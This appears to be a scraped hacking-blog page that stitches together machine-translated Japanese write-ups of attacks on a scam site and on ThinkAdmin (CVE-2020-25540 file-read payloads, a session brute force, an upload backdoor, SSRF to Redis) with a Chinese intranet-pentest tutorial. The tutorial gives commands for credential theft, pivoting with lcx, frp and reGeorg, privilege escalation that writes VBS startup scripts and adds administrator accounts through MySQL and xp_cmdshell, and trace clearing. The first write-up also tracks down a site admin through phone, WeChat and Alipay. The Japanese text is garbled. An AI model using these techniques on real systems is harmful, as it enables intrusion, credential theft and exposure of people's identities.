Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863110956

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

イーグルの写真でTSRCアセットを探しているとき、Tencent SRCを掘る準備をしているとき、このサイトのドメイン名:QQQQQQQQQC.com.xxxx.topを見ました。タイトルはログイン图片です。图片webpackパッケージ图片。この種のサイトには基本的にいくつかのテストアカウントがあります。 188888888888888888パスワード123456 图片を試しました。私はこれを見ました。これは、タスクを実行するときに手数料を獲得するような人々です。主な機能は、お金をだますことです。图片 图片 图片F12リクエストとJSの検索、ロードされたリソースファイルはエラーを報告します。建物、IPの後ろに管理者を追加し、エンタープライズWebサイトビルディングの背景にジャンプし、これが非常に悪いことを真実に語ります图片はThinkPhp5.0.5に再びホーム /Xを入力し、RCEがあり、タスクと獲得委員会がまだ慎重にテストされていないサイトがあることを確認し、情報を収集し、脇のステーションを見つけました。基本的に、データベース構成はデータまたは構成图片 图片MD5管理者パスワードを復号化し、背景を入力して他の情報を確認し、それにあまり注意を払わないように、主にサイト管理者图片

图片

1。携帯電話番号は、携帯電話番号である推奨番号に渡されることがよくあります。 139xxxx2。管理者ログ分析:疑わしいIPポジショニングは四川3にあります。携帯電話番号を介してwechatを確認してAlipayを見つけてこの人物を見つけます。

图片

图片

图片

图片

元のリンクから転載:https://mp.weixin.qq.com/s/9m0hep1x-5xt1jqeyvdrga

0x01 SinkAdmin Historical脆弱性レビュー

相手のアプリの背景アドレスはThinkAdminであることがわかっているため、SinkAdminの歴史的な抜け穴を確認する必要があります。

CVE-2020-25540

https://github.com/zoujingli/thinkadmin/issues/244

次のようにPOCを使用してください

https://github.com/schira4396/cve-2020-25540

列ディレクトリ

post/?s=admin/api.update/noderules=['runtime/']ファイル読み取り

/?s=admin/api.update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1a1b363932382x312t1bエッセンスは、おそらくサードパーティをサーバーのウェブファイルを比較する機能を可能にする機能を設計するためにおそらくエッセンスです。その結果、ディレクトリトラバーサルのために任意のディレクトリが読み取られます。特定の制限はありますが、害は依然として非常に非常に大きいため、この機能はその後の更新後に棚から削除されます。

また、CVEなしでは敏lialialiationizationの脆弱性もあります

https://github.com/zoujingli/thinkadmin/issues/238

2つのインターフェイスがあり、そのうちの1つは上記のディレクトリ関数のルールパラメーターです。

post/?s=admin/api.update/noderules=payload他の場所はそうです

post/?s=wechat/api.push/indexreceive=payload

0x02最初のソースコード

公式はソースコードの古いバージョンのダウンロードを提供しなくなったため、すぐに別の場所に行き、ThinkPhp5.1.38を使用してソースコードの古いバージョンを見つけました。検出後、次の脆弱性があります。

アプリケーション/wechat/controller/api/push.php

2つの脱必要度のうち1つだけが修正されました。

图片

Application/Admin/Controller/API/update.php

列のディレクトリと任意のファイルを読むためのルートはわずかに変更されており、列のディレクトリはルールパラメーターを渡すことで制御できないため、Web Rootディレクトリのみをリストできます。ただし、任意のファイルの読み取りにより、さまざまな制限が削除されます。つまり、config/database.phpを直接読み取ってデータベース構成を取得できます。

图片

データベース構成を取得した後、データベースを外部から接続できる場合、より深く使用できます。

Application/Admin/Controller/API/Plugs.php

图片

これは、ThinkAdminに付属するファイルアップロードインターフェイスです。設計された多くのCMSと同様に、そのホワイトリストStorage_local_extsはデータベースまたはシステムの背景で構成できます。通常、これを使用してGetShell操作を実行できますが、ホワイトリストにPHPを直接追加すると、4番目のIFを渡すことができず、バックグラウンドのシステム構成にもインターセプトがあります。

Application/Admin/Controller/config.php

图片

データベースを直接操作すると、バックグラウンド構成の制限をバイパスできますが、upload()制限をバイパスすることはできません。

明らかに、PHPのフィルタリングでは十分ではありません。相手がWindowsサーバーの場合でも、PHP: $データがオプションです。相手がApacheであり、間違った構成を行った場合、PHP3/PHP4/PHP5/PHP7/PHT/PHT/PHTML/PHARなどの解析サフィックスもあります。

0x03秒ソースコード

ただし、最初のソースコードは、ThinkAdminアーキテクチャに精通していることを除いて役に立ちません。ターゲットはthinkphp6.0.3であり、脆弱性は最初のものとは異なるため、脱介入はありません。ただし、まだ列のディレクトリとファイルの測定値があり、歴史的な脆弱性とまったく同じです。

App/Admin/Controller/API/update.php

图片

しかし、ディレクトリをリスティングするとき、私は問題に遭遇しました。

图片

これは、Web Rootディレクトリをリストしているためです。相手のプロジェクトが巨大である場合、またはフォルダーに許可がない場合、エラーが発生します。現時点では、主に./Appと./Runtime、ターゲットを絞った方法でディレクトリをリストする必要があります。

图片

图片

./Appを読んで、コントローラーパスを取得します。元のThinkAdminでは、多くのブレークスルーはありませんが、これらのプログラムの多くは2位にオープンしています。元のThinkAdminにないコントローラーと比較して、脆弱性を直接監査することができます。監査の脆弱性は、任意のファイルで読む必要があります。詳細については、前のものを確認してください。要するに、CVE-2020-25540では、ソースコードの取得に相当します。

このプログラムは、SQLインジェクションを簡単に見つけることができます。

/app/admin/controller/api/main.php

图片

图片

ただし、パスワードを呼び出した後、ログインがOTP検証に必要であることがわかったため、監査を続けることができませんでした。

/app/admin/controller/posting.php

图片

非常に愚かなコマンドスプライシング、同じ場所に3つの場所がありますが、すべて背景の権限が必要です。最終的に、exec()がdisabled_functionsであることがわかったため、使用できません。

/app/admin/controller/api/upload.php

图片

最後の場所は、友人のリマインダーによって発見されました。一見、これはSinkAdminによってもたらされたアップロードではありませんか?私はそれを利用するために特定の環境が必要であることを前に分析しました。そのため、私はそれを直接スキップしました。その結果、この名前を完全に制御できる追加のXkeyパラメーターがあります。これがバックドアであると疑うのは難しいです。最終的に、GetShellはこのようなものです。

图片

しかし、このアップロードインターフェイスにはバックグラウンド許可も必要です。どうすればよいですか?この時点で、それはshinkphpの変わり目であり、頻繁に./runtimeで使用されます。

ファイルのRuntime/admin/log/single_error.logを読むことは、一連のセッションエラーを記録することを簡単に見つけることができます。

图片

また、このプログラムが元のPHPセッションを使用していることがわかり、/TMPまたは/var/lib/php/sessions/ではなく、ランタイム/セッションに配置されています。それは簡単です。列ディレクトリを直接使用して、すべてのセッションをリストし、爆破します。

图片

このようにして、背景を直接入力してOTP制限をバイパスできます。次に、Xkey Backdoor Getshellを使用します。

图片

0x04代替心

裏口がない場合はどうなりますか?このシステムはLinux+Nginxであり、SinkAdminの元のアップロード制限をバイパスすることはできません。

しかし、後続のコード監査では、グラフベッドサーバーがあることがわかりました。

图片

このGetShell Server(a)は、file_pathsパラメーターを使用してグラフベッドサーバー(b)のインターフェイスにアクセスできます。目的は、サーバーBがサーバーA上の写真を順番にダウンロードし、バックアップできるようにすることです。なぜ私はこれを知っているのですか?

サーバーBはさらに穴があふれているため、このインターフェイスに直接アクセスすることでわかります。

图片

ソースコードはデバッグのためにリークするだけでなく、このコマンドのスプライシングが裸であまりにも裸であり、シェルとしても使用できます。

图片

したがって、サーバーAを倒さずに、任意のファイルの読み取りおよびコード監査を介してサーバーBを完全に倒すことができます。

サーバーBを取得することの使用は何ですか?サーバーAはカールを使用してサーバーBを要求します。この場合、サーバーBのコードを改ざんし、インターフェイスを302に変更してジャンプしてからGopherに変更し、サーバーAのローカルポートAを押すことができます。

FPM 9000ポートと6379 RedisポートがサーバーAにローカルに存在する場合、SSRF GetShellをこの方法で実行できます。このケースは、多くの場合、DiscuzのSSRF脆弱性で悪用される可能性があります。

今回は9000 fpmはありませんが、Redisがあります。 Redisキーとポートはconfig/cache.phpにも保存されており、Webディレクトリには777の権限があり、GopherがローカルRedisにヒットする条件を完全に満たしています。

もちろん、私は最終的には試していませんでしたが、理論には問題はありませんでした。

元のリンクから転載:https://mp.weixin.qq.com/s/buhjuqh3lyaq1smy2xkl3g

外网进内网通常就是通过web漏洞拿取shell

内网的很大一部分信息收集是围绕网络拓扑图展开的。可以社工运维或者google找一下。

内网扩散信息收集

概述

  • 内网信息收集
    • 内网网端信息:对内网进行拓扑、分区
    • 内网大小
  • 内网核心业务信息
    • oa系统、邮件服务器、监控系统....
  • 其他
    • Windows、linux主机信息收集

内网信息收集做的越好,打的越快

  • 常用方法
    1. 主动扫描。常用工具: nmap,netdiscover,nc,masscan,自写脚本等
    2. 常用端口和服务探测
    3. 内网拓扑架构分析。如dmz,测试网等
    4. 命令收集
    5. 本机信息

nmap的流量很大。因为nmap用了很多方式进行扫描,准确率高的同时流量较大,外网可以用
主动扫描留下的痕迹很多且较难清楚。被动扫描需要的时间较长。视情况扫描

一般都是先扫80端口等。因为外网网站可能做的很好,内网网站烂的爆,sql注入、xss等web漏洞一把一把的。

主动扫描

  1. ping命令扫描内网中的存活主机
    • 优点:方便,一般不会引起流量检测设备的报警
    • 缺点:扫描速度慢,目标开了防火墙会导致结果不准
  2. nmap扫描存活主机(icmp扫描)
    • nmap -sn -PE -n -v -oN 1.txt 目标ip
    • 参数: -sn 不进行端口扫描;-PE 进行icmp echo扫描;-n 不进行反向解析;-v 输出调试信息;-oN输出
  3. nmap 扫描存活主机(arp扫描)
    • nmap -sn -PR -n -v 目标IP
    • 参数:-PR代表arp扫描,在内网中arp扫描速度最快且准确率高
  4. 使用netdiscover扫描(arp扫描工具,既可以主动扫描也可以被动嗅探)
    • netdiscover -i eth0 -r 目标IP
    • m2nmhdcx3co15216.png
    • 参数说明:-i:指定一个接口;-r∶指定扫描范围
      • 注意: netdiscover时间越久越精确,可以发现某一台主机在一段时间内介入了那些网段,从而发现其他新的网段地址
  5. 用nbtscan工具进行快速扫描存活PC端,同时获得NETBIOS(windows往上输入输出服务,139端口)
    • nbtscan -r 目标IP
    • a2lyssh3o2e15217.png

端口和服务扫描

  1. 探测目标开放端口
    • nmap探测:nmap -Pn -n 目标IP(禁ping扫描)
    • masscan扫描:masscan -p 端口号 目标IP地址 --rate=10000 #用10kpps速度扫描端口
    • jc0ivxquap015219.png
  2. 探测目标操作系统
    • 使用NSE脚本: nmap --script smb-os-discovery.nse -p 445 目标IP地址
      • 其中: smb-os-discovery.nse脚本通过smb来探测操作系统版本、计算机名、工作组名、域名等等信息。--script指定脚本
      • a1wrqsc1i4415221.png
    • 使用nmap -O探测操作系统版本
      nmap -O 目标IP
  3. 扫描主机存在的CVE漏洞
    • nmap --script=vuln 目标IP

内网常用命令

命令说明
net user本机用户列表
net view查询同一域内的机器列表
net localgroup administrators查看本机管理员
net user /domain查询域用户
net group /domain查询域里面的工作组
net group "domain admins”/domain查询域管理员用户组
net localgroup administrators /domain登陆本机的域管理员
net localgroup administrators workgroup \user /add域用户添加到本机
net group "Domain controllers"查看域控

/domain为域渗透参数。域管理有一台权限很高的机器,拿下之后能控制整个域的服务器,称为域控。

  • dsquery 域命令(后面再写域渗透)
命令作用
dsquery computer domainroot -limit 65535 && net group "domain computers"/domain列出域中内所有机器名
dsquery user domainroot -limit 65535 && net user /domain列出该域内所有用户名
dsquery subnet列出该域内网段划分
dsquery group && net group /domain列出该域内分组
dsquery ou列出该域内组织单位
dsquery server && net time /domain列出该域内控制器

windows主机信息收集

这里是在拿下最高权限之后的信息收集。

  • 主要收集内容
  1. 系统管理员密码(hash->明文)
  2. 其他用户的session,3389,ipc连接记录以及各用户回收站信息收集
  3. 浏览器密码和cookies的获取
  4. windows无线密码获取
  5. 数据库密码获取
  6. host文件,dns缓存信息
  7. 杀毒软件,补丁,进程,网络代理信息
  8. 共享文件夹,web服务器配置文件等
  9. 计划任务,账号密码策略,锁定策略

windows杂七杂八的信息收集

  • 工具:mimikatz、wce、getpass、quarkspwdump、reg-sam、pwdump7等
  • cmdkey用于保存用户名和密码的凭证。
    • cmdkey /list查看凭据位置
    • netpass.exe获取密码
  • 回收站信息获取
    • 进入回收站文件夹cd C:$RECYCLE.BIN(该文件夹为隐藏文件夹,dir /ah查看内容,a指定属性h表示隐藏)
  • 获取无线密码
    • netsh wlan export profile interface=WLAN key=clear folder=C:\
  • 获取浏览器的cookie和存储密码(chrome)
    • %localappdata%\google\chrome\USERDATA\default\cookies%localappdata%\googlelchrome\USERDATA\default\Login
    • Datachrome的用户信息保存在本地文件为sqlite数据库格式
    • 使用mimikatz读取内容:
      mimikatz.exe privilege:debug log "dpapi:chrome /in:%localappdata%google\chrome\USERDATA\default\cookies /unprotect"

msf下的windows信息收集

模块使用
post/windows/gather/forensics/enum_drives获取目标主机的磁盘分区情况
post/windows/gather/checkvm判断目标主机是否为虚拟机
post/windows/gather/enum_services查看开启的服务
post/windows/gather/enum_applications查看安装的应用
post/windows/gather/enum_shares查看共享
post/windows/gather/dumplinks查看目标主机最近的操作
post/windows/gather/enum_patches查看补丁信息
scraper导出多个信息

use or run模块,设置参数后expoilt

linux信息收集

linux信息收集内容比起windows少很多

  • history命令
    • 用于显示历史执行命令。能显示当前用户在本地计算机中执行的1000条命令。查看更多在/etc/profile文件中自定义HISTSIZE的变量值。
    • 使用history -c命令会清空所有命令的历史记录。
    • 每个用户的history不同
  • last命令
    • 用于查看系统所有近期登录记录。
    • 执行last命令时,会读取/var/log/wtmp的文件。
      dl0zxtxw45515227.png
    • 用户名 终端位置 登录IP或者内核 开始时间 结束时间
    • 如果是系统漏洞提权,不属于登录,无记录
  • arp -vn
    • 聚类检查是否有超同组业务外的arp地址
    • mac地址对应ip固定,mac不对应ip则为arp欺骗
  • /etc/hosts文件
    • 存储域名/主机名到ip映射关系

msf下的linux收集

模块使用
post/linux/gather/checkvm判断目标主机是否为虚拟机
post/linux/gather/enum_configs查看配置信息
post/linux/gather/enum_network查看网络
post/linux/gather/enum_protections查看共享
post/linux/gather/enum_system查看系统和用户信息
post/linux/gather/enum_users_histroy查看目标主机最近的操作
post/linux/gather/hashdump获取linux的hash

但是我仍要强调,被动收集很重要,内网被动收集要安全很多,但是周期很长。主动一分,就危险一分

收集内容总结

网卡信息、arp缓存、路由缓存、网站配置文件、数据库、访问日志、浏览器历史记录、netstat、hosts文件、history、hash、明文密码、网站配置账密、wifi、cmdkey

内网转发

  • 内网转发的目的

理论上通过网络连接的计算机都是可以互相访问的,但是因为技术原因没有实现。如局域网中某计算机仅开放web服务,则只能内网使用,外网无法直接访问。要让外网用户直接访问局域网服务,必须进行内网转发等操作
xho3lpxqxrf15228.png

  • 内网转发原理
    通过服务器进行中转,将内部的端口映射到公网IP上,或者将内网端口转发至外部服务器
  • 内网转发的三种形式
  1. 端口转发

用于目标机器对某一端口的访问进行了限制。可以将本机的端口或者是本机可以访问到的任意主机的端口转发到任意一台你需要访问的公网IP上

  1. 端口映射

将一个内网无法访问的端口映射到公网的某个端口,进而进行攻击。比如:3389端口

  1. 代理转发

主要用于在目标机器上做跳板,进而可以对内网进行攻击

  • 四种基本的网络情况
    • 攻击者有独立外网IP,拿到shell的服务器也有独立的外网IP
    • 攻击者有独立外网IP,拿到shell的服务器在内网,只有几个映射端口
    • 攻击者在内网,服务器也在内网只有几个映射端口
    • 攻击者在内网,服务器有独立外网IP

四种情况有不同拿下服务器的方式

端口转发

  • 原理
    端口转发是转发一个网络端口一个网络节点到另一个网络节点的行为。使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。
    简单地说︰端口转发就是将一个端口(这个端口可以本机的端口,也可以是本机可以访问到的任意主机的端口)转发到任意一台可以访问到的IP上,通常这个IP是公网ip
  • 端口转发场景∶
    外网主机A已经可以任意连接内网主机B上的端口,但是无法访问内网主机C上的端口
    此时可以将C主机的端口转发到B主机的端口,那么外网主机A访问B主机的某某端口就相当于访问了C主机的某某端口
    o1eftkt4edl15230.png

端口转发工具

lcx

lcx是一个居于socket套接字实现的端口转发工具,有windows和linux两个版本,windows叫lcx.exe,linux叫portmap
一个正常的socket隧道必须具备两端:服务器端和客户端

windows下:
  • 转发端口:lcx.exe -slave 公网IP 端口 内网IP 端口
  • 监听端口:lcx.exe -listen 转发端口,本机任意没有没有被占用的端口
  • 映射端口:lcx.exe -tran 映射端口号 ip 目标端口
  • 本地端口映射:如果目标服务器由于防火墙的限制,部分端口的数据无法通过防火墙,可以将目标服务器相应端口的数据传到防火墙允许的其他端口
    lcx.exe -tran 映射端口号 目标ip 目标端口
  • 内网端口转发:如下规则时,主机不能直接访问内网,这时就需要web服务器当跳板,也就是代理来使攻击机访问到内网主机
    gl04tutgv4d15231.png
    基本命令:
    ·转发端口lcx.exe -slave 公网ip 端口 内网ip 端口
    ·监听端口lcx.exe -listen 转发端口 本机任意没有被占用端口

windows端口转发实例
环境︰内网主机不能访问外网,但是可以访问同网段的内网机器,同时80端口只能本地访问,但是8080端口对外开放。

步骤一:被控服务器的80端口转发到本地的8080端口 lcx -tran 8080 127.0.0.1 80
步骤二∶在内网被控服务器上连接内网能够对外访问的服务器 lcx -slave 192.168.56.1 4444 192.168.56.101 8080
步骤三∶在能够对外访问的内网机器上监听端口 lcx -listen 4444 12345
步骤四∶外网机器访问192.168.56.1的12345端口也就是从服务器12345->服务器4444->外网8080->内网80
在外网192.168.64.230访问192.168.64.103:12345

linux下:

用法: ./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
v:version

-m:指定method action参数
method=1:监听port1连接至主机2的port2(端口映射)
method=2:监听Port1转发至port2
method=3:连接主机1对应的端口和主机2对应的端口(端口转发)

如:./portmap -m 2 -p1 6666 -h2 公网ip -p2 7777//监听来自6666端口的请求并转发至7777

frp

  • FRP(fast reverse proxy)是用go语言开发的反向代理应用,可以进行内网穿透
  • frp支持tcp\udp\http\https

frp用处

  1. 利用处于内网防火墙的机器,对外网提供http\https\tcp\udp服务
  2. 对于http,https服务支持基于域名的虚拟主机,支持自定义域名,是多个域名共用一个80端口

下载后frp文件内frps,frps.ini为服务端程序和配置文件,frpc,frpc.ini是客户端程序及配置文件

  • 服务端设置

修改frp.ini
文件格式:

[common]
bind_port = 7000 #frp服务器监听㐰
dashboard_port = 7500 #web后台监听端口
dashboard_user =admin #web后台用户名及密码
dashboard_pwd = admin
token = 123456 #客户端和服务器的连接口令

运行frps服务器端 ./frps -c frps.ini #-c意思是加载配置文件
访问x.x.x.x:7500,使用自己设置的用户名和密码登录

  • 客户端设置

修改frpc.ini文件

[common]
server_addr = 192.168.152.217
#服务端IP地址
server_port = 7000
#服务器端口
token = 123456
#服务器上设置的连接口令
[http]
#自定义规则,[xxx]表示规则名
type = tcp
#type:转发的协议类型
local_ip = 127.0.0.1
local_port = 3389
#本地应用的端口号
remote_port = 7001
#这条规则在服务端开放的端口号

配置完成frp.ini后,cmd运行frpc(和服务端一样-c指定配置文件)
在局域网外客户端连接服务端的remote_port端口

该工具可跨平台,也就是windows exe程序连接linux
上述操作也就相当于listen 7000转到7001然后连接

metasploit portfwd

  • 简介
    一款内置于meterpreter shell中的工具,直接访问攻击系统无法访问的机器。在可以访问攻击机和靶机的受损主机上运行此命令,可以通过本机转发TCP连接,成为一个支点。

选项
-L∶要监听的本地主机(可选).
-l : 要监听的本地端口,与此端口的连接将被转发到远程系统·
-p∶要连接的远程端口,TCP连接将转发到的端口
-r∶要连接的远程主机的IP地址
参数
Add :该参数用于创建转发
portfwd add -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
Delete :这将从转发端口列表中删除先前的条目.
portfwd delete -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
List :列出当前转发的所有端口
portfwd list
Flush :这将删除转发列表中的所有端口

这个不太稳定,不如frp,lcx不怎么用了。

边界代理

代理类别:HTTP代理、socks代理、telnet代理、ssl代理
代理工具:EarthWorm、reGeorg(http代理)、proxifier(win)、sockscap64(win)、proxychains(linux)

内网通过代理连接外部网络为正向代理,外网通过代理连接内网为反向代理。
负载均衡服务器:将用户的请求分发到空闲服务器上。

  • socks代理
    当通过代理服务器访问一个网站时,socks服务器起到了一个中间人的身份,分别与两方通信然后将结果告知另一方。只要配置好socks代理后无需指定被访问目标
    socks和http代理走的是tcp流量,意思是udp的协议不能用这两种代理
  • 代理和端口转发的异同:
代理端口转发
需要socks协议支持无需协议支持
一对多,访问网络一对一,帮助他人访问某端口

socks代理可以理解为lcx端口转发,他在服务端监听一个服务端口,有连接请求时会从socks协议中解析出访问目标url的目标端口

意思就是,有代理就不需要他娘的端口转发了,还指定端口转来转去脑子都转晕了,代理不需要那么多花里胡哨的。

proxychains

  • proxychains是一个开源代理工具,可以在linux下全局代理。proxychains通过一个用户定义的代理列表强制连接指定的应用程序,支持http\socks4\socks5类型。
  • 使用
  1. 在使用工具前要对工具进行配置,配置文件:/etc/proxychains.conf
    删除dynamic_chain的注释
    底部添加代理服务器
    proxychains 软件名以代理启动任意软件

regeorg工具

  • regeorg主要是把内网服务器端口通过http/https隧道转发至本机,形成回路
  • 用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口
  • 利用webshell建立一个socks代理进行内网穿透,则服务器必须支持aspx\php\jsp中的一种
  • regeorg分为服务端和客户端。服务端有php\aspx\jsp\node.js等多种,客户端为python,所以用的时候文件里面找对应脚本

regeorg使用

和proxychains结合使用

  1. pip install安装
  2. 假设服务器是php版本,将regeorg里的php上传到服务器,直接访问显示"georg says,'all seems fine'",为正常运行
    fpdys5k1usv15233.png
  1. 终端下运行:python reGeorgSocksProxy.py -u 靶机reGeorg脚本地址 -p 本地监听端口
  2. 再起一个终端修改proxychains.conf配置文件,删除dynamic_chain的注释,在ProxyList最后加一行socks5 127.0.0.1 本地监听端口,并把其他的注释
    cg5xbx11k3c15239.png

代理就配置好了

  1. 使用proxychains 命令,流量会自动从配置文件端口经过(python跑的脚本终端别关)

但是在msf外配置的代理,msf内部流量是不会走代理过的

msf route

msf框架中自带路由转发功能,在已经获取meterpreter shell的基础上添加一条去往内网的路由
avecflddth315242.png

路由添加: run autoroute -s 内网网端
run autoroute -p 查看路由添加情况

proxifiler

proxifiler为windows客户端代理工具,socks5客户端,可以让不支持通过代理服务器工作的程序通过https或socks5代理或代理链

  • 支持socks4\socks5\http\tcp\udp。有gui
    使用:profil配置代理ip和端口。proxification rules设置代理规则,不需要代理的设为direct模式

提权可以有好几种,本篇主要讲利用系统漏洞提权(最常规)和利用数据库提权。数据库这种利用第三方提权的方式通常比较少见

windows权限提升

当我们getshell一个网站后,大部分情况下我们的权限是非常低的,这个时候提权可以让我们如拥有修改文件之类的强大能力。

一般来说,提权通常是改变用户

windows: user -> system user->administrator
linux: user->root

  • 提权的方式通常有:
  • 系统漏洞提权
  • 数据库提权
  • 第三方软件/服务提权
  • 系统配置错误提权

如果目的是download服务器文件或者拿下webshell等没必要提权,如果是为了做肉鸡或者上远控

系统漏洞提权

常规流程:获得目标机shell->查看目标机补丁记录->判断没打的补丁,寻找EXP->利用exp提权

  1. cmd中systeminfo查看补丁安装情况
  2. 使用补丁在线查询工具:blog.neargle.com/win-powerup-exp-index/#
  3. 将systeminfo命令得到的补丁信息复制进去,就会给出可用的exp编号
  4. github作者整合了大部分exp:github.com/SecWiki/windows-kernel-exploits(windows-kernel就是代表windows内核)
  5. 将exp上传至目标机
  6. 每个EXP的使用方法不同。如ms14-058上传了exp到靶机后在cmd使用exp.exe "命令"就能以system权限执行命令。其他exp的使用方法很可能不同
  7. 获得了高权限在当前网络环境切忌开3389去连,可以用msfvenom生成木马维权,或者创建新用户加入管理员组。不过都会被发现。。
  8. 靶机上在运行msf木马时要用高权限运行,否则反弹回来的shell也是低权限。所以要用之前传上去的exp运行msf木马

windows数据库提权

这种提权方式已经用的很少了

mysql数据库提权

mysql提权的必要条件:获取Mysql数据库最高权限root的账号密码

获取方法:

  1. 查看数据库配置文件
  2. 下载mysql安装路径下的数据文件并破解
  3. 安装路径下的data存放的是数据库的信息,root的账号密码存放在mysql下的user表中,完整路径=安装路径+data+mysql+user.myd
  4. 暴力破解

mysql的三种提权方式:

  1. udf提权
  2. mof提权
  3. 启动项提权

MOF提权

  • 原理:利用了c:/windows/system32/wbem/mof/目录下的nullevt.mof文件。该文件每几秒会执行一次,向其中写入cmd命令使其被执行
  • 利用条件
  • windows<= 2003
  • 对c:/windows/system32/wbem/mof/目录有读写权限
  • 可以时间写mof文件到相应目录,如:数据库允许外联,有webshell,有可写sql注入

因为需要有写文件权限(into outfile),所以可用到的环境很少

  • 提权方法
  1. 上传mof文件
  2. 执行load_file和into dumpfile将文件导出到指定位置
    select load_file('mof目标路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

nullevt.mof文件的内容
nn0wxyczm5r15246.png

UDF提权

  • 原理:UDF(user defined function)用户自定义函数通过添加新函数,对mysql服务器进行功能扩充,将mysql账号转化为system权限。
  • 方式:通过root权限导出udf.dll到系统目录下,使udf.dell调用cmd
  • 利用条件:
  • windows 2000\XP\2003
  • 账号对mysql有插入和删除权限
  • 对应目录有写权限

mysql版本对应的udf.dll导出路径:

数据库版本操作系统udf.dll导出路径
<5.0所有操作系统路径随意
<=5.1windows2003c:\windows\system32\udf.dll
<=5.1windows2000c:\winnt\system32\udf.dll
>5.1所有操作系统mysql安装目录下的lib\plugin\udf.dll

mysql安装目录查询语句: select @@basedir

  • udf 提权步骤
  • select user();\version();\basedir()判断数据库版本、用户和安装目录
  • 如果\lib\plugin目录不存在,可以利用NTFS ADS流创建文件夹
    select 'xxx' into dumpfile 'mysql目录\\lib:$INDEX_ALLOCATION';
    select 'xxx' into dumpfile 'mysql目录\\lib\plugin:$INDEX_ALLOCATION';
    或者是webshell直接创建
  • 导入udf.dll文件。该文件在sqlmap/data/udf/mysql/目录下有,只是该dll文件是通过异或编码的,可以使用sqlmap/extra/cloak.py解密。
  • 上传udf.dll到指定目录。有webshell就直接传,传不了就select load_file()。
  • 创建自定义函数。create function **sys_eval** returns string soname 'udf.dll';
    必须要创建.dll文件中存在的函数才行,可以用十六进制编辑器打开udf.dll文件慢慢找函数,也可以用dumpbin.exe查看。soname指向动态链接库
  • 执行高权限指令:select sys_eval('whoami');
    将该用户提升为管理员权限:select sys_eval("net localgroup administrators ichunqiu /add")
  • 清除痕迹
    drop function sys_eval;
    delete from mysql.func where name="sys_eval";

启动项提权

  • 原理:windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。将一段vbs脚本导入开机启动项,如果管理员重启了服务器,那么就会自动调用,并执行其中的用户添加及提权命令
  • 利用条件:
  • 目标目录可读写
  • 调用的cmd要有足够权限
  • 重启服务器可以利用导致服务器蓝屏的exp,或者ddos
  • 提权方式
  • 直接将vbs提权脚本上传到启动项目录下
  • sql命令创建添加vbs脚本

vbs提权脚本:

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) #得到adsi接口
Set oe=GetObject(os&"/Administrators,group") #用户组
Set od=ob.Create("user","name") #name为用户名
od.SetPassword "passwd" #passwd为密码
od.SetInfo #保存
Set of=GetObject(os&"/name",user) #得到用户
oe.add os&"/name"
  • sql命令创建
  • 连接到对方MySQL服务器,进入后查看数据库中有哪些数据表
  • 命令:show tables
  • 默认的情况下,test中没有任何表的存在。
  • 进入test数据库,并创建一个新的表:
    create table a(cmd text)//创建了一个新的表,名为a,表中只存放了一个字段,字段名为cmd,为text文本
  • 在表中插入内容,用这三条命令来建立一个VBS的脚本程序:

insert into a values("set wshshell=createobject(""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user name passwd /add"",0)");
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators name /add"",0)");

  1. 输出表为一个VBS的脚本文件
    select * from a into dumpfile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动1.vbs";
  2. 利用其他手段重启电脑

sql server提权

  • 利用条件
  • 必须获得sa的账号密码或者与sa相同给权限的账号密码,且mssql没有被降权
  • 能执行sql语句。如webshell或者1433端口连接

在windows,sa账号通常是被降权为db-owner的。而不是sysadmin

  • 获取sa号密的方法:
  1. webshell或源码获取。一般在网站的配置文件中存了明文账号密码,常用配置文件如:conn.aspx、config.aspx、config.php等
    一般格式如:server=localhost;UID=sa;PWD=passwd;database=db
  2. 源码泄露
  3. 嗅探。在局域网中用Cain等工具进行arp嗅探的时候可以抓取到1433端口的数据库明文登录
  4. 暴力破解

xp_cmdshell提权

  • xp_cmdshell:
  • 存储过程:是存储在SQLServer中预先定义好的"sql语言集合",使用T-SQL语言编写好的脚本共同组成的集合体为存储过程
  • xp_cmdshell脚本:扩展存储过程的脚本,是危险性最高的脚本,可以执行操作系统的任何指令
  • xp_cmdshell在mssql2000中是默认开启的,在mssql2005后的版本中默认禁止。如果用户具有sa权限可以用sp_configure重新开启

xp_cmdshell提权过程:
(2005以前的版本):

  1. 连接数据库:
    select ame from master.dbo.sysdatabases获取所有的数据库名
  2. 查看当前版本select @@version
    判断当前是否为saselect is_srvrolemember('sysadmin')
    判断是否有public权限select is_srvrolemember('public')
    判断是否有读写文件权限select is_srvrolemember('db_owner')
  3. 查看数据库中是否有xp_cmdshell扩展存储插件,return 1则有
    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

(2005后的版本):

  1. 开启xp_cmdshell

```exec sp_configure 'show advance options',1;//允许修改高级参数
reconfigure;
exec sp_configure 'xp_cmshell',1;//打开xp_cmdshell扩展
reconfigure;

2. xp_cmdshell执行命令

```exec master..xp_cmdshell 'net user name passwd /add'//添加用户name,密码passwd
exec master..xp_cmdshell 'net localgroup administrators name /add'//添加name到管理员组

windows bypass uac

uac(user acount control)可以阻止未授权的应用程序自动安装,并防止无意中更改系统设置

uac的三种设置要求:

  1. 始终通知
  2. 仅在系统试图更改我的计算机时通知(Uac默认设置,第三方使用高级别权限时会提示本地用户)
  3. 从不提示(用户为系统管理员时所有程序都会以最高权限运行)

相当于普通用户打开cmd和以管理员运行cmd的差别,普通用户以管理员身份开cmd就会受到uac的限制,输入管理员密码

msf bypass uac

